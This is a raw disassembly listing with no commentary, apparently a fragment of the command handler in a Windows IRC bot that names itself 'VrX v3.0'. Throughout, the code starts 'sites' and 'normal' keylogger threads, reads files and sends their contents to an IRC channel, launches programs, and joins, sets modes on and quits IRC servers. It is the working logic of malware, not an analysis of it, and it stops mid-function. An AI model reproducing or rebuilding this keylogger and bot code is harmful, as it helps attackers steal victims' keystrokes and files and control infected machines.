		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset dword_4146B8
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40882F


loc_40881D:				; CODE XREF: sub_401AC7+6D66j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40884A
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40881D
; ---------------------------------------------------------------------------


loc_40882F:				; CODE XREF: sub_401AC7+6D54j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42A2FC


loc_40883B:				; CODE XREF: sub_401AC7+6CA6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40884A:				; CODE XREF: sub_401AC7+6C8Aj
					; sub_401AC7+6D5Cj
		cmp	[ebp+var_8], ebx
		jnz	loc_403FA2
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403F9A
; ---------------------------------------------------------------------------


loc_40886A:				; CODE XREF: sub_401AC7+4908j
					; sub_401AC7+491Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F4
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 10h


loc_408887:				; CODE XREF: sub_401AC7+6E27j
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643


loc_4088A1:				; CODE XREF: sub_401AC7+78B5j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		jmp	loc_4048FA
; ---------------------------------------------------------------------------


loc_4088CA:				; CODE XREF: sub_401AC7+48DAj
					; sub_401AC7+48F1j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E0
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 14h
		jmp	short loc_408887
; ---------------------------------------------------------------------------


loc_4088F0:				; CODE XREF: sub_401AC7+48ACj
					; sub_401AC7+48C3j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		push	edi
		call	sub_41BEF9
		add	esp, 10h
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C4


loc_408954:				; CODE XREF: sub_401AC7+6F14j
					; sub_401AC7+6F7Fj ...
		call	sub_415D62
		jmp	loc_404227
; ---------------------------------------------------------------------------


loc_40895E:				; CODE XREF: sub_401AC7+487Ej
					; sub_401AC7+4895j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40898F
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2BC
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40898F:				; CODE XREF: sub_401AC7+6EB1j
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	esi
		push	edi
		push	offset dword_42A2A0
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_4089E0:				; CODE XREF: sub_401AC7+4850j
					; sub_401AC7+4867j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	esi
		push	offset dword_42A2EC
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		push	esi
		push	edi
		push	offset dword_42A284
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_408A4B:				; CODE XREF: sub_401AC7+4822j
					; sub_401AC7+4839j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	esi
		push	offset unk_42A25C


loc_408A7D:				; CODE XREF: sub_401AC7+7A5Aj
					; sub_401AC7+7A73j ...
		call	sub_415D62
		jmp	loc_4034AC
; ---------------------------------------------------------------------------


loc_408A87:				; CODE XREF: sub_401AC7+47F4j
					; sub_401AC7+480Bj
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		call	sub_41BEF9
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670EE1h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset dword_42A23C
		call	sub_415CEE
		jmp	loc_4034AC
; ---------------------------------------------------------------------------


loc_408AED:				; CODE XREF: sub_401AC7+47C6j
					; sub_401AC7+47DDj
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		call	sub_41B960
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409643
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A96C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		push	edi
		push	offset unk_42A220
		call	sub_415D62
		add	esp, 2Ch
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408B5B:				; CODE XREF: sub_401AC7+4798j
					; sub_401AC7+47AFj
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		call	sub_41B960
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B960
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C080
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409643
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		push	edi
		push	offset unk_42A204
		call	sub_415D62
		add	esp, 20h
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408BB1:				; CODE XREF: sub_401AC7+476Aj
					; sub_401AC7+4781j
		cmp	[ebp+var_C], ebx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F6C
		push	eax
		push	edi
		call	sub_415BF6
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1E8
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	loc_403F81
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401AC7+473Cj
					; sub_401AC7+4753j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4189DF


loc_408C05:				; CODE XREF: sub_401AC7+25D5j
		add	esp, 14h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401AC7+46FCj
					; sub_401AC7+4713j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409643
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408CAA
		push	esi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C92
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	esi
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1C4
		push	eax
		call	sub_41C006
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408C92:				; CODE XREF: sub_401AC7+7173j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A194
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408CAA:				; CODE XREF: sub_401AC7+7162j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B1DF
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	edi
		push	offset unk_42A17C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 24h
		jmp	loc_408FC1
; ---------------------------------------------------------------------------


loc_408CF1:				; CODE XREF: sub_401AC7+4432j
					; sub_401AC7+4449j
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408CFE:				; CODE XREF: sub_401AC7+102Fj
					; sub_401AC7+1082j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B63B
		add	esp, 20h
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_408D1A:				; CODE XREF: sub_401AC7+4404j
					; sub_401AC7+441Bj
		push	23h
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_408D30
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408D30:				; CODE XREF: sub_401AC7+725Dj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DAC
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D93
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D93
		mov	esi, [ebp+var_88]


loc_408D93:				; CODE XREF: sub_401AC7+72AEj
					; sub_401AC7+72C4j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C100
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408DFF
; ---------------------------------------------------------------------------


loc_408DAC:				; CODE XREF: sub_401AC7+7299j
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E7C
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DE8
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43B4B8
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DE8
		mov	esi, [ebp+var_88]


loc_408DE8:				; CODE XREF: sub_401AC7+7303j
					; sub_401AC7+7319j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C100
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408DFF:				; CODE XREF: sub_401AC7+72E3j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	23h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_412665
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408E6B


loc_408E55:				; CODE XREF: sub_401AC7+73A2j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081DE
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_408E55
; ---------------------------------------------------------------------------


loc_408E6B:				; CODE XREF: sub_401AC7+738Cj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_408E7C:				; CODE XREF: sub_401AC7+72F4j
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408E86:				; CODE XREF: sub_401AC7+4069j
					; sub_401AC7+4080j
		push	offset aR	; "r"
		push	edi
		call	sub_41BC88
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F00
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C2CF
		add	esp, 0Ch


loc_408EAF:				; CODE XREF: sub_401AC7+7417j
		test	eax, eax
		jz	short loc_408EE0
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C2CF
		add	esp, 20h
		jmp	short loc_408EAF
; ---------------------------------------------------------------------------


loc_408EE0:				; CODE XREF: sub_401AC7+73EAj
		push	esi
		call	sub_41B9DB
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A0A8
		push	eax
		call	sub_41C006
		add	esp, 10h
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_408F00:				; CODE XREF: sub_401AC7+73D0j
		push	edi
		push	offset unk_42A088
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_408F0B:				; CODE XREF: sub_401AC7+403Bj
					; sub_401AC7+4052j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	offset asc_42A084 ; "\n"
		push	esi
		call	sub_41C630
		push	esi
		call	sub_419F3E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F48
		push	offset unk_42A058
		jmp	short loc_408F92
; ---------------------------------------------------------------------------


loc_408F48:				; CODE XREF: sub_401AC7+7478j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A040
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_408FC1
; ---------------------------------------------------------------------------


loc_408F5F:				; CODE XREF: sub_401AC7+400Dj
					; sub_401AC7+4024j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409643
		push	eax
		call	sub_41870F
		test	eax, eax
		pop	ecx
		jnz	short loc_408F8D
		push	offset unk_42A020
		jmp	short loc_408F92
; ---------------------------------------------------------------------------


loc_408F8D:				; CODE XREF: sub_401AC7+74BDj
		push	offset dword_42A004


loc_408F92:				; CODE XREF: sub_401AC7+747Fj
					; sub_401AC7+74C4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_408FA0:				; CODE XREF: sub_401AC7+6BD4j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408FC1
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_408FC1:				; CODE XREF: sub_401AC7+71C6j
					; sub_401AC7+71DEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		pop	ecx
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_408FD3:				; CODE XREF: sub_401AC7+3FDFj
					; sub_401AC7+3FF6j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BD70
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409002
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_409002:				; CODE XREF: sub_401AC7+7527j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FEC
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B2A5
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4090A0


loc_40908A:				; CODE XREF: sub_401AC7+75D7j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C63
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_40908A
; ---------------------------------------------------------------------------


loc_4090A0:				; CODE XREF: sub_401AC7+75C1j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_429FAC


loc_4090AC:				; CODE XREF: sub_401AC7+2971j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_406C63
; ---------------------------------------------------------------------------


loc_4090C0:				; CODE XREF: sub_401AC7+3FB1j
					; sub_401AC7+3FC8j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_410330
		push	edi
		push	offset dword_429F94
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_4090DB:				; CODE XREF: sub_401AC7+3F83j
					; sub_401AC7+3F9Aj
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_1D38]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F70
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3AD
		add	esp, 40h
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_416177
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	loc_4023BB


loc_409199:				; CODE XREF: sub_401AC7+76E6j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_40830C
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_409199
; ---------------------------------------------------------------------------


loc_4091AF:				; CODE XREF: sub_401AC7+3F55j
					; sub_401AC7+3F6Cj
		push	edi
		nop
		call	near ptr 26801DBh
		test	eax, eax
		jz	short loc_4091C2
		push	edi
		push	offset dword_429F54
		jmp	short loc_4091CD
; ---------------------------------------------------------------------------


loc_4091C2:				; CODE XREF: sub_401AC7+76F1j
		push	offset dword_42A5AC
		call	sub_41864A
		push	eax


loc_4091CD:				; CODE XREF: sub_401AC7+76F9j
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		jmp	loc_4092A5
; ---------------------------------------------------------------------------


loc_4091E3:				; CODE XREF: sub_401AC7+3F27j
					; sub_401AC7+3F3Ej
		push	edi
		call	sub_41BEF9
		push	eax
		call	sub_419EB7
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_409200
		push	offset unk_429F30
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_409200:				; CODE XREF: sub_401AC7+7730j
		push	offset unk_429F00


loc_409205:				; CODE XREF: sub_401AC7+7737j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C66
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h
		jmp	loc_406C66
; ---------------------------------------------------------------------------


loc_40923E:				; CODE XREF: sub_401AC7+3EF9j
					; sub_401AC7+3F10j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419BAA
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409260
		push	offset unk_429EE0
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409260:				; CODE XREF: sub_401AC7+778Dj
		push	offset unk_429EB0
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40926A:				; CODE XREF: sub_401AC7+3ECBj
					; sub_401AC7+3EE2j
		push	edi
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092AD
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, ebx
		jz	short loc_4092C8
		push	dword ptr [eax]


loc_409293:				; CODE XREF: sub_401AC7+77FFj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E90
		push	eax
		call	sub_41C006


loc_4092A5:				; CODE XREF: sub_401AC7+7717j
		add	esp, 10h
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_4092AD:				; CODE XREF: sub_401AC7+77B3j
		push	edi
		call	dword_4C9388
		cmp	eax, ebx
		jz	short loc_4092C8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4C9390
		push	eax
		jmp	short loc_409293
; ---------------------------------------------------------------------------


loc_4092C8:				; CODE XREF: sub_401AC7+77C8j
					; sub_401AC7+77EFj
		push	offset unk_429E68
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_4092D2:				; CODE XREF: sub_401AC7+3E9Dj
					; sub_401AC7+3EB4j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BD70
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E44
		push	eax
		call	sub_41C006
		add	esp, 18h
		jmp	loc_4081DE
; ---------------------------------------------------------------------------


loc_4092F7:				; CODE XREF: sub_401AC7+3E6Fj
					; sub_401AC7+3E86j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9270
		test	eax, eax
		push	edi
		jz	short loc_409317
		push	offset unk_429E24
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409317:				; CODE XREF: sub_401AC7+7844j
		push	offset unk_429E00
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_409321:				; CODE XREF: sub_401AC7+3E41j
					; sub_401AC7+3E58j
		mov	al, [edi]
		mov	byte_429090, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DDC
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_409336:				; CODE XREF: sub_401AC7+3E13j
					; sub_401AC7+3E2Aj
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_409643
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B898
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		jmp	loc_4088A1
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_401AC7+3DE5j
					; sub_401AC7+3DFCj
		push	edi
		call	sub_41BEF9
		test	eax, eax
		pop	ecx
		jle	loc_401F6C
		push	edi
		call	sub_41BEF9
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F6C
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_40981C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670EE1h
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	dword_4C939C
		push	[ebp+var_10]
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		push	dword_43C254[eax]
		call	near ptr 26908D2h
		nop
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		push	edi
		mov	dword_43C254[eax], ebx
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43C040[eax], bl
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_40942C:				; CODE XREF: sub_401AC7+3DB7j
					; sub_401AC7+3DCEj
		push	edi
		push	offset aAll	; "all"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40945B
		call	sub_40B576
		cmp	eax, ebx
		jle	short loc_409451
		push	eax
		push	offset unk_429DB0
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_409451:				; CODE XREF: sub_401AC7+797Dj
		push	offset unk_429D88
		jmp	loc_403F73
; ---------------------------------------------------------------------------


loc_40945B:				; CODE XREF: sub_401AC7+7974j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h


loc_409467:				; DATA XREF: Themida_:00562C98o
		jnb	loc_401F6C
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409477:				; CODE XREF: sub_401AC7+7A21j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F6C
		push	esi
		call	sub_41BEF9
		push	eax
		call	sub_40B4E8
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40949E
		push	offset unk_429D64
		jmp	short loc_4094A3
; ---------------------------------------------------------------------------


loc_40949E:				; CODE XREF: sub_401AC7+79CEj
		push	offset unk_429D38


loc_4094A3:				; CODE XREF: sub_401AC7+79D5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094D3
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4094D3:				; CODE XREF: sub_401AC7+79EEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409477
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_4094EF:				; CODE XREF: sub_401AC7+3D89j
					; sub_401AC7+3DA0j
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	edi
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409643
		push	esi
